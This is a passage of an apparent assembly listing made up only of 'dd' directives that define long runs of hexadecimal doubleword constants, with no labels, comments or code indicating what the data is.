40B300E6h, 8D97B262h, 60FF4CA7h, 56317E4h, 88B4E318h dd 0C45AFD4h, 92A02BC1h, 600EE88h, 0E0A1FD32h, 3EB20D1h dd 715EA43Ch, 0FDF1D7Dh, 4B079494h, 0E04D39C3h, 0F4672838h dd 567B4E00h, 0AF3EBA82h, 61183C23h, 427D4B84h, 625CE02Eh dd 0E7FB8400h, 21308FF5h, 0B89E4C80h, 185E8108h, 9C079B16h dd 1580F107h, 71A34Bh, 58C7ADF9h, 8A84230h, 0E9DCF700h dd 1B6976B2h, 48EB00ABh, 0D9DB43ACh, 6203A547h, 3FC9EA01h dd 15CDF8AAh, 534D077Ah, 13A098h, 5C29C521h, 104E0500h dd 0AE083674h, 0E75F054h, 0BBD307DAh, 0B3FD70A2h, 2542DC72h dd 0EFC824C0h, 0CA1D9A08h, 9C0E029h, 616D1B6Fh, 4A4FE0Ch dd 1C70A665h, 54E80E5h, 438DF5Ch, 602AB2D0h, 0FC743B2h dd 0E2DB7F60h, 0B285AECh, 767B2D14h, 53C607C4h, 0E0204009h dd 462F9Ch, 0A6525775h, 0D2F544D9h, 160F637Dh, 0AA7F50h dd 7234B9D8h, 0CC4A00EEh, 65A073AFh, 24791DCAh, 2D17A21Ch dd 41C3181Fh, 0F8F9D2A3h, 0FB01B4Fh, 9FAC85C4h, 735A5000h dd 2771A601h, 29996D00h, 1AE50735h, 0D00A2623h, 8353805Ch dd 487E7BAFh, 1605E00h, 0EFCE0915h, 18DB07E6h, 108BAC19h dd 0D154F7CBh, 711F30Fh, 0DAD9A37Eh, 90A8E085h, 701001FFh dd 0DD6A0420h, 0B244209Bh, 9C7F9927h, 411A655Ch, 2A90818Ah dd 2C329Dh, 87F92C36h, 0EB1F77h, 0FA88B34h, 0AB47D6E7h dd 0E756000h, 0BC8AE5AAh, 0B391009Fh, 51324BB9h, 2826F9CBh dd 59008458h, 0B8CAA3FDh, 0D60A0FC2h, 9E00F852h, 5FB2195Ah dd 0A0476409h, 2E3C0082h, 7841A67Ch, 787DAEh, 7FAACE14h dd 830CAA8h, 48586B03h, 4891E02Ch, 0A315505Ah, 0EDC66CFEh dd 8011152h, 1E9DA236h, 0FF43D4Bh, 54E7007Dh, 0C3863C4Ah dd 0DA00158Ch, 0C80D9357h, 485D89h, 55AAF7E0h, 7978BC84h dd 0B2034F76h, 0A80F7DF0h, 0FE9C9085h, 0DAE500F6h, 537C0BA7h dd 2E00BBC4h, 4272035Eh, 2CC790h, 55AF9F35h, 6DDD57ACh dd 21FD9601h, 0E9BE6C98h, 1704EC8h, 5C030754h, 2019D1D0h dd 87004F04h, 4C7A7FBBh, 13AD646Ah, 13D20518h, 0B00880FCh dd 0C7008856h, 0EFD570FBh, 18420315h, 18E6DD24h, 0A3008CACh dd 81C74FCh, 909CD976h, 9EB60B04h, 0AC38C323h, 59006DBAh dd 4F27F88Fh, 0E25E3B34h, 397289h, 0E7214AB6h, 0FFB82FB0h dd 0F2002B76h, 2E0D3828h, 58ABD7C7h, 2208C050h, 31163EEEh dd 20B14CCh, 52161CCDh, 24C8ADFDh, 50265D1Fh, 4501E45Fh dd 0DC1BBBAAh, 21070EEh, 0AFBA67A0h, 48687B89h, 1D0F9F59h dd 0ADF650h, 0DF9C4E4Ch, 0D0F3483Ah, 5D14E300h, 0B3ABFF40h dd 0B9E75928h, 74442613h, 0D0890C00h, 0B41F163h, 20109047h dd 0E5089800h, 39047B73h, 1878B8A5h, 0F20CE0h, 0B93301C8h dd 3FC605B4h, 0C469461Dh, 548FD301h, 85FC3509h, 50B4600Eh dd 7280EB3Bh, 5005A807h, 5F793CA1h, 45C60000h, 0F3141A35h dd 4BE153EEh, 5D0004A8h, 0F8FF8B6Dh, 6C3E3065h, 2DA59240h dd 96096C02h, 0A850964h, 1F92C012h, 0DA07A30Bh, 67ABEB0Eh dd 26A91010h, 18400136h, 9E157662h, 86782401h, 8D4Bh, 0C3B07568h dd 0B62A00CEh, 4D4C365Eh, 3D000F02h, 6D1212Fh, 698417h dd 322537F7h, 28A6D054h, 0B669700h, 0BDED2B26h, 0F5C0015Eh dd 0E1E0F638h, 549CEC16h, 81788A3Bh, 93333E8Bh, 0D8C8C12Eh dd 48E0377Bh, 0D9EB809Ah, 630F1EC2h, 200EE2C5h, 7F91DCB3h dd 0E55A00E4h, 1C11EA4Ch, 623D6523h, 0C9E7142Dh, 6A7104CCh dd 889139DEh, 0C0D710B7h, 48C7D53Fh, 0A600AB0Ch, 4A75A383h dd 36000EC4h, 625237EEh, 157BDC7h, 0E1F39C9Bh, 0F0313567h dd 2B00E333h, 0B079FE83h, 90986EDBh, 2D3E0088h, 2C0FC4A2h dd 0B800DDF4h, 0B6F95DC3h, 711A39FEh, 0CB091262h, 0F8F08093h dd 3200BCA0h, 5C5B8C89h, 283E65h, 334AD995h, 3CFA380Eh dd 56388275h, 0CC04013Fh, 1C929446h, 38BE4C60h, 5424ED33h dd 5EAB00DAh, 1D798920h, 0A946950Bh, 739CA018h, 24524469h dd 931D4B0h, 4C8082C6h, 656C6A08h, 0C0AB8736h, 41353F6Ch dd 0A3AA7480h, 13955F23h, 0CB76D48h, 781B7D5Eh, 920BE66Eh dd 0A4AA0110h, 518D4FFFh, 0F2C47095h, 7672258h, 0E9DD7C75h dd 98D043B7h, 0E5B8B3h, 0F303C1B4h, 7FDABB51h, 99D7E90Eh dd 930027Dh, 5D68E046h, 0DFD50088h, 18EE9EE2h, 834C38C3h dd 4C005A94h, 0EC3C9CFCh, 0F06800CEh, 9B904482h, 8F00CA5Bh dd 360229ADh, 13F2E00Dh, 7D0E5Fh, 0EBDCF098h, 0F601BC0Ah dd 79D1B86Ah, 0C2F0B0E6h, 2B104CE4h, 0B3A8D04h, 0E84580CFh dd 30205CEh, 0EE811FC9h, 605043h, 9D25CA99h, 4BF31502h dd 403A6F0Fh, 0A752001h, 0B0B2AF9Eh, 0C5120169h, 3BB9FCF3h dd 869347BEh dd 0B63E1809h, 0D8BC80D7h, 1336C745h, 5550498h, 0E1793197h dd 0FA95C4A0h, 0C6B51700h, 0E787CC61h, 0B11B0089h, 0DE1D923Ah dd 4C003704h, 5C6D9BE2h, 107C99Dh, 9A1C2552h, 0F8CAA118h dd 47265B62h, 0EB03A828h, 8776B38Eh, 41ED4290h, 0EC655D33h dd 1D48A424h, 24730031h, 0FB8D62C7h, 5F0CAC00h, 0D5E1BD12h dd 0BC9A0Ah, 6C63FD4Ch, 6BAC7FCCh, 0A554A90Fh, 0AC00F65Eh dd 0FA776147h, 0E67040ECh, 0D6B6AB12h, 0F90F5A1Dh, 752485DDh dd 0F9B3DCD2h, 17A450B8h, 0E6B0400h, 1A1BE7DFh, 75278C0h dd 0FAF01871h, 0D84840A8h, 23650D5Ch, 18803658h, 0EE201Bh dd 0C59DBBFAh, 6ACF4C8Fh, 80316E3Eh, 8EBEDB8Dh, 3BE84EE9h dd 0C4829B91h, 29E03328h, 0D41218F8h, 0BC004610h, 0D870E6BFh dd 73AE1F91h, 9F007EF3h, 4260E0C8h, 36022E02h, 0B987B8Eh dd 82746340h, 0D000E352h, 0C48E183h, 0DF228557h, 40009078h dd 9DF0ECD6h, 0D05E71h, 43020CF4h, 1679CB17h, 0DE34E01h dd 1F19862Fh, 0D1979440h, 5F1E00C3h, 2DCC0F91h, 11077740h dd 4467EAFDh, 6DB0AD17h, 96110h, 7429F9FBh, 9E064181h dd 0AC00F098h, 44DB99CDh, 0E475E77Ah, 0BA890DFh, 0C11ACF84h dd 51487CC0h, 0B83A5Ch, 944F6D26h, 2BFA537h, 35CA13BAh dd 2860D192h, 3C0BFFF8h, 0C6078757h, 0E22B1690h, 5C7C407Ch dd 0B4689A0h, 0ECD37000h, 0BBB8260Ah, 9C8B1F0Fh, 23661608h dd 4D901FECh, 504C3569h, 575B03B0h, 0F0B99C86h, 3919DB08h dd 71006863h, 0E28E4D4Fh, 13303D20h, 4529D0EDh, 180F7B4Ah dd 8178AC89h, 78B0C4ABh, 47260100h, 2FBE518Bh, 0A2DCF93Dh dd 79C3B8DBh, 5D13F43Bh, 8D0024BBh, 0A187869Ch, 1E0580CCh dd 8CDC189Dh, 77515400h, 4F9FBCE8h, 49980F27h, 9C45A80h dd 0CE26FE50h, 1E00A4B1h, 47856358h, 7E4FF483h, 1A4E00D6h dd 5C2EDE60h, 570084D2h, 1FF0BF4Ah, 462FE8h, 3037C588h dd 0CD0CA57Ah, 54001A78h, 1FAA6771h, 2E532C34h, 78656h dd 0A77D7C6Ah, 6000D2B4h, 2D51A85Eh, 719D572h, 0BDBA5586h dd 0B14CF047h, 0C1041166h, 1EC40D1Fh, 8F379080h, 0C2270193h dd 0B68C4255h, 23DAF020h, 44CFF401h, 0B06FB88Dh, 7D48E3D8h dd 71BFE3Dh, 0BEE58C4Ah, 63B4C0B1h, 7C1204A4h, 620D30F4h dd 76FCF8A1h, 708942Bh, 60DAEDA4h, 0DD910CF8h, 0E4F79607h dd 803E0D3Fh, 9AFADE8h, 3E480070h, 0E25D5BDCh, 35034D4Ah dd 0C28910B2h, 0D7E604CEh, 0C08FAFECh, 6C5A61D7h, 3B684B4Ch dd 69B3891Eh, 24EC0966h, 7E300828h, 8C014617h, 0AF2B3979h dd 0A6C5FA2Eh, 0F7458C4h, 82B71C86h, 0A86E9AEEh, 5508CA60h dd 6498C387h, 0DAB6A403h, 0D04F181Ah, 0B66ABCD9h, 65C30650h dd 0B13C701Dh, 8B9E92FCh, 0A75F3480h, 45F90344h, 916AA565h dd 0CEADE7E8h, 1019D102h, 0CA9ECB2Ah, 0A08C89CCh, 5F6D66CCh dd 0DBD7006Fh, 4A7AFE1Eh, 0C20275A2h, 9C45712Dh, 826BE84Dh dd 393B00ACh, 0B94C89CCh, 90034679h, 3DFA4862h, 7D0D0E3h dd 3EE800E6h, 9ED11435h, 0E0C05D6Ah, 16D9F22h, 7905005Eh dd 2AB8A541h, 21CB9565h, 9D40C03Ch, 9C0D07F3h, 60EDC4CAh dd 0B9FFA948h, 36C92A06h, 1C683993h, 7BCFEEF7h, 3FE96C81h dd 30615303h, 66003EF8h, 0E225F749h, 1102D34Ch, 35DEF05h dd 0A520A13Dh, 21880079h, 0C8B53AE9h, 24F6F701h, 0BCC7A4A8h dd 4EABB103h, 91C32E93h, 0C0EE8031h, 9D958F38h, 0D750D2F0h dd 0CEB8B0D4h, 5CD6FE00h, 71779882h, 0CF740E5Bh, 0B07E1781h dd 0E5667E44h, 0A8FA418h, 9CDD2188h, 0B714854Ch, 0C094D46Eh dd 0B479BB5Eh, 8EDCBD00h, 88E8740Fh, 86DA1CA7h, 2600B838h dd 0B9032AC0h, 7700526Ah, 2DA637D5h, 7ACC5CADh, 24BD0705h dd 4298AA63h, 84E84B48h, 2B28A61Ah, 2EE2FC57h, 0F3076C00h dd 199BF06h, 0C790F47h, 0F4B4514Ch, 94A25800h, 0FB423717h dd 9AAB9801h, 0CDFC6FECh, 9183D840h, 0EBD9003Fh, 11429EF7h dd 0D33088A9h, 35242108h, 618C189Fh, 6D0C10CEh, 2B9C3F00h dd 65AE4777h, 78883815h, 31830079h, 70468293h, 0C00152C9h dd 3D765602h, 1CE490CFh, 0E76C027Fh, 5805CD01h, 5D156140h dd 64264A00h, 0ACA843DDh, 7E9D7972h, 0EE7302EAh, 0FAB5DA57h dd 771D5450h, 9D683B70h, 8DEC2F00h, 5B319FCEh, 64070091h dd 86C4D24h, 2800FAF1h, 95C4571Bh, 71A622A2h, 351F807h dd 0E4BA446Dh, 0E8108799h, 0E60085D2h, 0CAA6FCB9h, 4500050Ah dd 0F9212003h, 0EC8971h, 67798A42h, 5DD48DDBh, 8BA16905h dd 0F802B2C0h, 6032B68Eh, 0F576581h, 182C6742h, 0F4377B20h dd 0A8581AE8h, 6472038Bh, 0BCA12716h, 63676C80h, 8A32002Eh dd 2FFC91E0h, 5D48733Ch, 46E60F0Bh, 4877603Dh, 90339829h dd 0C551258Ch, 0E3C484h, 0E7F37449h, 0F5EF0E90h, 0CCC2E1E0h dd 9C617B95h, 61CEC170h, 37784154h, 0A1FD4063h, 0B06755Dh dd 0CCAC4028h, 3B9BE420h, 0D0E0E280h, 0F03A0FE8h, 0F03CF1h dd 0C467A2AFh, 3AC870A7h, 0AE01E0B7h, 95F9E41h, 0EA6FC01Eh dd 5A9639h, 0F4279CEFh, 78C2A6h, 4699706Ah, 0AE480717h dd 7C00AAEEh, 0E1474C1Fh, 3AB2E5EDh, 57002B25h, 0B693A907h dd 1D973E09h, 6083E400h, 0A52C0Fh, 0C126DFE8h, 0B6178DD9h dd 0D04A5Ch, 3488B2D1h, 2DF77467h, 18009828h, 2DFAF5ECh dd 0FC524200h, 250966D5h, 726E004Bh, 89EFB47Fh, 0CA03A8A3h dd 5AB6288Bh, 1056D860h, 0DE21003Dh, 0D198838Ah, 280142C7h dd 77EA803Ah, 8428D334h, 23D6E580h, 97E8482Ah, 6D58C200h dd 2E3D1D73h, 0C8AC07F8h, 0D9ED7B8Ah, 1EF5F880h, 0E000E2D8h dd 0E055489h, 17D782Ah, 0B25EA433h, 0DCCBC4DEh, 9E4B444Ah dd 0E1292CC0h, 6C640039h, 7532B2AFh, 0A70135FEh, 0C7DBB171h dd 0D0305B9Eh, 0D0C84A9Ah, 7872E26Ch, 0A6CC1E00h, 61FCF57Eh dd 6FF60093h, 82E941B5h, 225FDFEh, 0F1B0E176h, 4309E0h dd 5D3B184Dh, 0E6B723FFh, 1BA8A3Ah, 0C4DFE72Bh, 67E4A5E0h dd 7948C0BEh, 0AFF8BA9h, 812B9B00h, 687C1BD9h, 0B4400E7Fh dd 7A2072B7h, 0D4C1FCBAh, 0E49B3A00h, 677FCE62h, 0ADEC0EBFh dd 0A4414BF5h, 0D01945D9h, 0CA719EBBh, 7F7DAA00h, 1E0DA0EAh dd 0E403004Eh, 0C368A547h, 0B7B01FE7h, 8D4C0800h, 3D31446Ch dd 9B4D079Eh, 6F93C81Dh, 0B3B5A220h, 96001F86h, 1BA597BEh dd 7BB649B8h, 4FB40014h, 0F4196375h, 1DF4DFFEh, 0E672AB03h dd 89D2653Ah, 38FC8DF6h, 3C104806h, 0C9F9C480h, 5A074003h dd 0BBBFA033h, 0F3809780h, 0E1392CB7h, 0DF60E18h, 90FE5747h dd 3CB076DFh, 0FB6FA52Ch, 581C6100h, 128EADh, 301A31C4h dd 1D645D79h, 0F8BDB100h, 0E36C7C91h, 0A25E8Dh, 0DF9F2144h dd 74BC162h, 340FD441h, 0A80ED84h, 5C772528h, 0D40B854Dh dd 0FAF03Dh, 193E1530h, 0BDB50083h, 0FDC21A0h, 230FA884h dd 442CEA68h, 9CA059D9h, 1ED116DAh, 456E009Ah, 0A1BAD56Bh dd 215ADC32h, 0E8A0093Ch, 7F792A9Ah, 7602983Ah, 3C7B07E8h dd 0EFA010A0h, 0C0D62CA0h, 0D53A7E77h, 366D0058h, 5F2718E9h dd 0D998022Bh, 172D3BE5h, 7A3A000Fh, 0A3411FE4h, 0D5203B3Ch dd 70CFBE20h, 105AFF6h, 0DB557D88h, 0C08E1EECh, 9DA050B8h dd 1A54FEE4h, 0FD18A69Ch, 7F389B58h, 3AF00038h, 86123A1h dd 0AF0CABF4h, 9004D7C6h, 0F7DC0E5Ah, 8B40C59Dh, 0F3D4C03Fh dd 0E7B22001h, 0F96A2693h dd 0B57CF0h, 87790D46h, 672488CAh, 2C1A6100h, 0E813B1DEh dd 8E863AC9h, 4A842980h, 2A20D04Dh, 91A03EE0h, 3300C4EAh dd 0A1E5017Ah, 732E48h, 4D4740FFh, 0E8151D02h, 71005579h dd 79322884h, 0A0248C3Ch, 1AF2CDDh, 0AA19C86Ch, 4813BB5Fh dd 8B00EEC8h, 6AD2E8C2h, 0EAC3398Eh, 48E6BAh, 43E63D65h dd 2B388385h, 9F3F8CA8h, 0B122B91Dh, 0CE868C80h, 15752Eh dd 304A4D4Ch, 0D8D98D85h, 0C41DC528h, 3B9F8E1Dh, 0EAA17130h dd 2281005Bh, 0EB764451h, 94E8E0C5h, 6D3EBCA4h, 98469C1Eh dd 0D0A3BA47h, 162CE4F0h, 0AC3D00BCh, 0D3B58899h, 7123F12h dd 6009DD1h, 0BC5B2621h, 5669C714h, 2FEE047h, 0B00C1E6h dd 0CF9C362Bh, 0E8B191h, 3F2A1FF6h, 0FE07DDF2h, 0E49F9E0Ch dd 891C8859h, 29D0DB8Eh, 0A303DE1Dh, 0C1D80223h, 0C600022h dd 6231FC83h, 31C02538h, 5A9A555Fh, 0A5E00AEh, 26A44850h dd 1DB8C6E5h, 74926CA1h, 2500B44Eh, 0A7BEF222h, 3D0490h dd 836770Dh, 6BF903BDh, 0CF894903h, 8FB692E1h, 1DBB45D0h dd 0C43F00ADh, 0B90C0FB4h, 1C001BE0h, 3E7D0146h, 267CBBAEh dd 8AA2C9h, 0F3B6BA86h, 28F0B0C7h, 0EE0F4F00h, 7630B0Eh dd 0FB120C6Bh, 0DB607FC2h, 9691460h, 0B479E06h, 4EECBDE5h dd 2B485B0Ch, 0ED661700h, 0F81091F3h, 597795h, 8EF53BF0h dd 0B78980CEh, 7C99AF03h, 38E7C508h, 31010251h, 0B8A874FDh dd 0A94ED4ACh, 8EB2AD26h, 0A3912201h, 588F7B92h, 4F80EBB6h dd 0C0A749B1h, 53DD2400h, 6C272BE8h, 0D06D0118h, 43BF1538h dd 0DFA260DEh, 3CC93B3Bh, 2BBD0E47h, 69176697h, 0E3A300A9h dd 55E4DFFDh, 30005F6Eh, 0C93811FFh, 0F995D1h, 0D6BD28BFh dd 9997D204h, 43C7E806h, 416210h, 94B82A16h, 5717561h dd 178880F7h, 3D234CC1h, 186D71FFh, 104B3FCFh, 18620667h dd 0A039F4F9h, 159ED6C0h, 0D38F034Eh, 2D815437h, 0F000EC9Bh dd 43057216h, 0C035F422h, 0FA9CE931h, 0FFB0E8D0h, 1A17CA0Ch dd 7A4330C4h, 49EA00BCh, 58DC3E57h, 0CF00A19Ch, 2D8476C8h dd 0CEB21Bh, 0F7D8183Ch, 0FE71E79h, 0A99E4Ch, 478F6AA3h dd 1961D6h, 7A1A12BFh, 48C6CD83h, 0C385DF07h, 9430B95Fh dd 738EE6h, 649658CBh, 0DC520693h, 4CF88B00h, 300D68D3h dd 7F1A0016h, 0BBD48F83h, 190167CDh, 5BFDC856h, 0AAD8EBC4h dd 8AD0004Eh, 9C906C7h, 83001B18h, 0EB42A765h, 0ADC8D6h dd 6978E7D4h, 1A7966F2h, 9FD039h, 0B4238CCDh, 6BC84Dh dd 579253C9h, 0F0394CB1h, 13017571h, 4677B4F6h, 0C3F876A0h dd 1CAA28A5h, 44AF980h, 0CD3850Dh, 97F8CC10h, 0B507C47Eh dd 0AE3B2D63h, 7ED345D0h, 91843CD8h, 8CB17C9Eh, 9F299430h dd 0D5FD2284h, 44796542h, 2284ABBBh, 0F922CF9Dh, 9983223Dh dd 84708742h, 75884D79h, 83389C1h, 21BC449Ch, 0CB022284h dd 0F5776F42h, 91103512h, 8FB89B4h, 9C74420h, 8B05A1C0h dd 5CDC234h, 1ACE02D1h, 2921C019h, 0EF719AF0h, 0BBEEE200h dd 8305FE3Dh, 0A4150126h, 0AB60EC37h, 0FC2DF0B0h, 78044F00h dd 5DA230EFh, 0BC10126Fh, 7F37073Bh, 9720B08Bh, 0C60073E5h dd 3D57D222h, 0BDADA1h, 3BB70601h, 0E3F68E59h, 0AA0A700h dd 0CF8143D6h, 0D96A0B61h, 37009E7Bh, 0D3AE48D2h, 99EBB00Fh dd 42FC0085h, 0FC7ED0Bh, 9EAF396Fh, 45C200DDh, 95842896h dd 9048DEE9h, 0B400B8ACh, 0A425DCAAh, 3B09EB0Eh, 278E45BFh dd 7F001640h, 659CEAFEh, 2FEF2218h, 18C78260h, 117C5D45h dd 0FD7B60CFh, 0CAE38800h, 0E89AD65Fh, 9C93121Ch, 0A93C4540h dd 1E700053h, 645CE1C3h, 88C76E00h, 0D52C06BEh, 98010048h dd 6FB43236h, 0A4006861h, 0F87B5872h, 0BF656Ch, 63E93A2Ah dd 5A433CD1h, 87F68300h, 626892ADh, 57510042h, 0C119A404h dd 0F303D88Dh, 8F593A09h, 758C981Fh, 233E0097h, 3282BE35h dd 0D3012C9Eh, 457E8B29h, 72EC7460h, 64D50010h, 0E76944CFh dd 38140318h, 8832F3h, 0D2EDC217h, 2629DB1Dh, 5EC7CBh dd 0E74D64D1h, 0FC03CE24h, 5AFF5339h, 6004F252h, 69CDA0h dd 0C1DABD18h, 7A801E48h, 606CA10Fh, 291F8455h, 8EF25EC0h dd 8D76021Dh, 0A7127D8Fh, 50E7D843h, 0DA57B20Fh, 608E5B00h dd 2CDD6D61h, 27343E39h, 0A3BFC780h, 0E25C8488h, 68FC3000h dd 364CB3ADh, 0F5F8F6h, 8011C7C0h, 0A6837371h, 0FCD1451Eh dd 38499EC0h, 25E034Dh, 0AD7C12C9h, 0FEE035B6h, 9401933Eh dd 0A46998C6h, 0BAE4D4A5h, 0F7C00F3h, 0E478EE2Ah, 2092B71Ah dd 73357B09h, 0A639009Dh, 78B2B992h, 5CE5004Ch, 0E2EDB7Eh dd 5D099CE8h, 80B39E05h, 41E64044h, 2882E9BEh, 0F6862A2Fh dd 1E0E8446h, 0B2882715h, 6DD41000h, 24B3177Eh, 4299Ah dd 0FE95E8D1h, 0DB00D586h, 3390E6A6h, 0DE5906h, 93EF6736h dd 82EB0334h, 0AFB45809h, 39160092h, 0A8E2B62h, 2FD50761h dd 0E12003FDh, 0BED33ED0h, 0E6C447C0h, 0D3BD6D00h, 99639F48h dd 7FD7D46h, 19BE74E7h, 0C6B9F034h, 0FE013365h, 0CE76C169h dd 0FD703BD4h, 0B76600BAh, 0DBEA859Ah, 0FA007C8Eh, 41FB71C1h dd 0E64C90h, 5E79D932h, 0A8466A6Dh, 11F688A0h, 9DB62A00h dd 6E4108D5h, 1B540061h, 0D29F3318h, 0DA737AA6h, 0A268D00h dd 0DF1E1508h, 1E4CF8F9h, 81832Dh, 623507E1h, 9D002BD4h dd 362E75A1h, 0D54AA2h, 5994CEA0h, 1044F425h, 65609E00h dd 387913AAh, 933F167Bh, 364F0790h, 0CEAD8724h, 0AF31B1A0h dd 33001DFDh, 0C7C834A8h, 0FC6F62h, 85CCB575h, 65AD2A9Ah dd 3886D501h, 5FC532FEh, 132C27F8h, 6BD914h, 9A4F75AFh dd 682D8618h, 7BF47Ah, 321C2BF8h, 0E2003313h, 0A2BC20A1h dd 26735B2Fh, 6E9D3h, 0A70DE52Bh, 0A1184275h, 0A0703A4Dh dd 55882459h, 230809F7h, 3C6EC0Ah, 937E224Bh, 276ACBD0h dd 3645AE07h, 62405147h, 726810CDh, 30123CE1h, 5AAF1400h dd 565076E4h, 0C07A3513h, 0E260F00h, 4DE3B2h, 0AF6C975Ch dd 0DDABA8FCh, 54E59100h, 0E6EDF703h, 7D579CDh, 6224DFA4h dd 0C8FC304Fh, 20053102h, 26CD7E9Bh, 0F4D9EF00h, 0FA2779B3h dd 3E11039Eh, 62C2201Ch, 6F93F9D8h, 50A5C02h, 0E060A30Ch dd 476829h, 695BAADCh, 0F72DAF1Fh, 0B4C67A1Fh, 0B70F6FC0h dd 65057Eh, 2E423D17h, 0C1BDA2B5h, 0E3547D1Eh, 22D12800h dd 0D5050Fh, 4E8AB80Ah, 8FAD93CAh, 6FF9018h, 540418h, 2B6A9B5Ch dd 36A2F651h, 0C968C000h, 0F90ACBA9h, 68E0046h, 4193DD4Eh dd 2E28DC9Ah, 0E60084C1h, 68125F7Eh, 0F9F466h, 0AAE03C4Ch dd 76CF9548h, 541CD007h, 0B6378DB9h, 553213D0h, 0F22803EBh dd 4A83B837h, 8A7678E8h, 21E7B61Eh, 4D6B803Ch, 43BEE51Bh dd 0CB180051h, 5D2219F7h, 840E9B0Ah, 0A0FE152Ah, 0C67848B1h dd 0BB311C68h, 8087013Bh, 50F4C903h, 1B479ED4h, 2A053079h dd 35BCA12Eh, 0F5118403h, 758DF095h, 0CEB448FCh, 0AD799300h dd 0AB853F96h, 2C231D12h, 39259C00h, 1202D14h, 0F6BE57E5h dd 60FE6EAFh, 1D7B6CA6h, 9E52F500h, 42E1B993h, 37B600D2h dd 3DCC558h, 4C030156h, 0EFC37947h, 9E1DB007h, 0F4EC033Dh dd 0E55E4367h, 4225DF0h, 0A70C0ECh, 0B97FDC01h, 0C1C385A8h dd 180D2730h, 205C8BDEh, 0CF00703Ch, 0F3D73469h, 0F6E4A7h dd 0C5DEE3F1h, 705442A8h, 8163F83Fh, 0AD33C091h, 0D140A15Eh dd 0B3BFD22h dd 0CD160D73h, 0A088E000h, 5C0049CBh, 0C0229758h, 7726ED3h dd 4B348665h, 98A0CE6Fh, 0C8AEA2Fh, 3977E80Ah, 0CA078C60h dd 0E160B8FCh, 3F3F4416h, 8C87F81Eh, 526F6352h, 5044B0FEh dd 0FD0C7D05h, 0ADC062B4h, 0E31034h, 9E47D41Dh, 53144FB9h dd 66B40401h, 9499DC6h, 2A50AC47h, 0E0D867h, 851F4BA4h dd 6B2F3555h, 82D57407h, 0C51E3ABh, 7DB707Ah, 0D49A5BF1h dd 2A5C90F5h, 0EA77FAE8h, 0BF74480Eh, 1F0B0E32h, 2FE3D480h dd 178B725h, 618F8A6h, 0F0A2CD6Dh, 0A10A037Eh, 99F7C495h dd 0F079010Ch, 11EB3E02h, 71998D8Fh, 0EFB53081h, 46BF70A0h dd 0FFD57C00h, 0F8F9B952h, 31940087h, 3CCC60ABh, 6B4CA215h dd 0F02D0078h, 0B1BB61E2h, 0AA410075h, 0BDD207E0h, 0C4900A3Eh dd 21C6DE07h, 784072CFh, 0BDDC3E9h, 0D9E1C519h, 69E4CF00h dd 3AEC55F0h, 0A5723D00h, 7A7B13D6h, 4902099Dh, 94005E35h dd 0E3DC9361h, 0BA79A212h, 0CE915440h, 5EE6E9Bh, 224EB9E2h dd 1AA8006Bh, 0FCF60665h, 4574FA01h, 0D5402821h, 0FE8D9300h dd 47484C00h, 53181CC2h, 0AFB1002Dh, 83A86BA7h, 800EEABh dd 0E7DEF438h, 7134930h, 6B176781h, 3BA0CE0Fh, 2E2DCCC8h dd 19558B11h, 589DAA04h, 0E85330A0h, 0B74E00F0h, 0FF7D43F7h dd 5C0039D6h, 0C9C3F6D9h, 2ACD59Fh, 0CBBF0DE4h, 0F68F7FECh dd 7C31A8F8h, 135BA200h, 56A81FE3h, 6BF89DEFh, 6B7DF0A0h dd 190FCD7Bh, 0C0306C0Fh, 0D910521Bh, 4505017Fh, 0B357DB5Fh dd 0AB7BE8F4h, 450458h, 87C9A3CAh, 14AD02Ah, 1901930Eh dd 40BA85AFh, 0C77E52A8h, 0CC88A801h, 562C82DEh, 0B946D0h dd 0FC7C647Bh, 0E4601535h, 3B00C970h, 9CA9EFF9h, 1DD84499h dd 4074380Bh, 35F575D7h, 0FD067F20h, 0E5FBDDC0h, 1DA100A9h dd 0F3767179h, 4560560Bh, 0F9BC988Ch, 3563009Ch, 0AA5A09FEh dd 0AD2CDA95h, 123EF967h, 5000FA22h, 0DE1DF0F6h, 0EA2E4CEBh dd 0B0403B0Bh, 7A10E838h, 59C14F00h, 26D0DB35h, 4C790123h dd 3EDA9877h, 7DB040DFh, 0B90006C3h, 0E1AFD917h, 2677AC0Dh dd 0AC530Fh, 0F0AB0326h, 5207B063h, 32B5A31Eh, 6E36F720h dd 71C9005Bh, 0CFEBE5C2h, 0CB391FDBh, 321080D7h, 0A8DCC74h dd 7A4C0036h, 0E378B9ACh, 0F6005543h, 1134DEDCh, 0F29ED7h dd 13159CB2h, 6989E956h, 7AFFD201h, 831625C4h, 78E811E1h dd 4FC21D3Dh, 7EEBC02Bh, 29729FAAh, 0F47CCA00h, 0DF0F594Ah dd 973C001Ch, 0B648B52Bh, 0D003055h, 0E3CB69A2h, 0AFB814h dd 62EC3C0h, 5CF6CF42h, 43001078h, 522AB094h, 5CE2A87Dh dd 0B6008018h, 8E137366h, 0B203984Fh, 0B9ED153Ah, 0AA0E0BDh dd 0F52D0142h, 0D0CB3DFDh, 0B61C2092h, 0BDC82000h, 5945D686h dd 573C0075h, 40119C73h, 2BE0A6A3h, 0C3AAE00h, 3FE0DF97h dd 13160ED3h, 40006FAh, 0E910CFC9h, 3472CE0Ch, 15DDB09Ah dd 0D82FAE1Bh, 1980A63Eh, 60057A3Ch, 0AC9259B3h, 6A45520Fh dd 0A0E749FAh, 0A9D176DCh, 5D70FACh, 74216DCEh, 0F05F34C2h dd 0C8ECCFF2h, 44FABE00h, 0C0831A14h, 1C86F42Ah, 808BFDh dd 7055B0A3h, 4900DC6Ah, 4DDEBEECh, 6F0F8Eh, 0C18A4752h dd 0D390A344h, 2386C4Ch, 0BD7BC638h, 0E0D1009Fh, 0DA41CB0Ah dd 1E35BAF0h, 0C07C1056h, 5B0B1AC9h, 0DE4994ADh, 0D0231C70h dd 48C0038h, 5AC19864h, 382E787Dh, 9F050292h, 80B28066h dd 6E1D87D7h, 22048094h, 38D050CBh, 4D66EA5Ah, 510018FAh dd 4CFC82F3h, 0EFF0636Eh, 3CD17C00h, 56120749h, 0E87AD3h dd 68068CCCh, 7B4E18DDh, 52800800h, 6E47EE79h, 718F00F0h dd 0EDAF1C86h, 60F7BFFEh, 1F12FA74h, 0AC05C7F9h, 0D400EFA1h dd 279D4C91h, 0B9DCA097h, 51460008h, 0D65B176Ah, 3058DEDDh dd 0F1040791h, 803B694Ah, 6A2237E6h, 6858D2h, 9A5A0076h dd 0AF9DF9Eh, 7E12A91Bh, 3018BBB5h, 7E8E48EAh, 0E45D00ABh dd 2030CD42h, 0CA004EB4h, 6287D73Ch, 6636C7h, 0FEB52843h dd 0DC2A40ECh, 0F969A501h, 0AA3F573Dh, 